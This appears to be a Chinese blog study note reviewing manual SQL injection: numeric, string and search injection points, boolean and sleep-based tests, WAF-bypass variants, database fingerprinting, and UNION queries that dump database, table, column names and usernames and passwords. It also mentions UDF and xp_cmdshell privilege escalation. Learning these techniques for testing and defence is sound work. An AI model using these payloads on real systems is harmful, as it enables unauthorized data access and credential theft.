• sql手工注入复习


    按照注入点类型来分类
    (1)数字型注入点
    ?id=1 为数字型注入点
    这一类的 SQL 语句原型大概为 select * from 表名 where id=1 若存在注入,我们可以构造出类似与如下的sql注入语句进行爆破:select * from 表名 where id=1 and 1=1
    (2)字符型注入点
    ?user=admin 为字符型注入点
    这一类的 SQL 语句原型大概为 select * from 表名 where user='admin' 值得注意的是这里相比于数字型注入类型的sql语句原型多了引号,可以是单引号或者是双引号。若存在注入,我们可以构造出类似与如下的sql注入语句进行爆破:select * from 表名 where user='admin' and 1=1 ' 我们需要将这些引号给处理掉。
    (3)搜索型注入点
    "keyword=关键字"
    这是一类特殊的注入类型。这类注入主要是指在进行数据搜索时没过滤搜索参数,一般在链接地址中有 "keyword=关键字" 有的不显示在的链接地址里面,而是直接通过搜索框表单提交。此类注入点提交的 SQL 语句,其原形大致为:select * from 表名 where 字段 like '%关键字%' 若存在注入,我们可以构造出类似与如下的sql注入语句进行爆破:select * from 表名 where 字段 like '%测试%' and '%1%'='%1%'

    常规判断注入点:
    and 1 like 1 ,测试回显正常
    and 2 like 1 ,测试回显错误
    and 1=1,测试回显正常
    and 1=2,测试回显错误

    可以用一些其它的方法,有时可以绕过waf
    and case when 1=1 then 1 else 0 end 页面返回正常
    and case when 1=1 then 0 else 1 end 页面返回不正常
    and sleep(5) 页面延迟5s
    and case when 1 then sleep(5) else 0 end 页面延迟5s
    and case when 0 then sleep(5) else 1 end 页面返回正常
    ?id=8 = 0 页面正常,显示id!=8且最靠前的页面
    ?id=8 < 2 页面正常,显示数据库id最靠前的页面
    ?id=8 < 0 页面不正常,空页面
    ?id=8 / 0 页面不正常,空页面
    ?id=8 / 1 页面正常,显示id=8的页面
    ?id=8 ^ 1 页面正常,显示id!=8新闻页面
    ?id=8 ^ 0 页面正常,显示id=8的页面
    字符型与数字型不一样的点:
    title = “中小企业制作网站的技巧” -0. 所有
    title = “中小企业制作网站的技巧” -1 空
    title = “中小企业制作网站的技巧” ^1 空
    title = “中小企业制作网站的技巧” ^0 正常
    判断数据库类型:
    一、通过页面返回的报错信息,一般情况下页面报错会显示是什么数据库类型,在此不多说;
    二.根据脚本类型:
    php:mysql       (root) udf提权
    asp:access
    aspx:sqlserver  (sa)(windows)xp cmdshell扩展提权
    jsp:oracle         (sys systeam) sqlserver
    三、通过各个数据库特有的数据表来判断:
    1、mssql数据库
    http://127.0.0.1/test.php?id=1 and (select count() from sysobjects)>0 and 1=1
    2、access数据库
    http://127.0.0.1/test.php?id=1 and (select count() from msysobjects)>0 and 1=1
    3、mysql数据库(mysql版本在5.0以上)
    http://127.0.0.1/test.php?id=1 and (select count() from information_schema.TABLES)>0 and 1=1
    Access和SQL Server都有自己的系统表,比如存放数据库中所有对象的表:Access是在系统表“msysobjects”中,但在Web环境下读该表会提示“没有权限”;SQL Server是在表“sysobjects”中,在Web环境下可正常读取。在确认可以注入的情况下,使用下面的语句:http://www.yyy.com/productDetail_c.asp?ID=568 and(select count() from sysobjects)>0如果数据库是Access,由于找不到表sysobjects,服务器报错
    4、oracle数据库
    http://127.0.0.1/test.php?id=1 and (select count(*) from sys.user_tables)>0 and 1=1
    四、通过各数据库特有的连接符判断数据库类型:
    1、mssql数据库
    http://127.0.0.1/test.php?id=1 and ‘1’ + ‘1’ = ‘11’
    2、mysql数据库
    http://127.0.0.1/test.php?id=1 and ‘1’ + ‘1’ = ‘11’
    http://127.0.0.1/test.php?id=1 and CONCAT(‘1’,‘1’)=‘11’
    3、oracle数据库
    http://127.0.0.1/test.php?id=1 and ‘1’||‘1’=‘11’
    http://127.0.0.1/test.php?id=1 and CONCAT(‘1’,‘1’)=‘11’
    4.access数据库
    http://127.0.0.1/test.php?id=1 and ‘1’&‘1’=‘11’

    联合注入
    判断列数
    ?id=8 order by 18 回显正常
    ?id=8 order by 19 回显不正常
    列数为18

    判断回显的列
    ?id=-8 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18

    爆数据名,把回显的数字替换为相关sql语句
    ?id=-8 union select 1,database(),group_concat(schema_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 from information_schema.schemata
    若数据库名被爆出为test
    爆表名
    id=-8 union select 1,2,group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 from information_schema.tables where table_schema = ‘test’
    若表名为cms
    爆列名
    ?id=-8 union select 1,2,group_concat(column_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 from information_schema.columns where table_name = ‘cms’
    爆内容:
    ?id=-8 union select 1,group_concat(username),group_concat(password),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 from cms

    前提知识:
    concat():将多个字符串连接成一个字符串,同一列中不同行数据拼接。concat(str1, str2,...),返回结果为连接参数产生的字符串,如果有任何一个参数为null,则返回值为null。
    select concat(id,name,score) as info from test;
    会回显id,name,score的内容,若一个为空,则结果为空

    concat_ws():和concat()一样,将多个字符串连接成一个字符串,但是可以一次性指定分隔符~(concat_ws就是concat with separator)。用法:concat_ws(separator, str1, str2, ...)
    select concat_ws(',',id,name,score) as info from test;
    则返回id,name,score带分隔符的结果,若分隔符为null,select concat_ws('null',id,name,score) as info from test;则全部为null

    group by:
    select指定的字段要么就包含在group by语句的后面,作为分组的依据,要么就包含在聚合函数中
    学习:https://blog.csdn.net/mary19920410/article/details/76398050

    group_concat:将group by产生的同一个分组中的值连接起来,返回一个字符串结果。
    group_concat( [distinct] 要连接的字段 [order by 排序字段 asc/desc ] [separator '分隔符'] )
    学习链接:https://blog.csdn.net/mary19920410/article/details/76545053

    还有count():https://www.w3school.com.cn/sql/sql_func_count_ast.asp
    COUNT(
    ) 函数返回在给定的选择中被选的行数。

    报错注入:https://www.cnblogs.com/bmjoker/p/8797027.html
    rand()用于产生一个0~1的随机数
    floor()向下取整
    rand()函数生成0~1的任意数字,使用floor函数向下取整,值是固定的0,
    如果是rand()2,向下取整后为0或1
    floor(rand(0)
    2)的报错是有条件的,记录数必须大于等于3条,3条以上必定报错

  • 相关阅读:
    Android五天乐(第三天)ListFragment与ViewPager
    Thinking in States
    红黑树上的连接操作
    [LeetCode][Java] Binary Tree Level Order Traversal
    使用IR2101半桥驱动电机的案例
    HDU 4782 Beautiful Soup(模拟)
    C语言之基本算法38—格式化输出10000以内的全部完数
    远在美国的凤姐为何选择回国理財?
    2014-7-20 谁还认得这几本书?
    360在线笔试---反思两道题
  • 原文地址:https://www.cnblogs.com/hebtu-Enoki-qu/p/14513469.html
Copyright © 2020-2023  润新知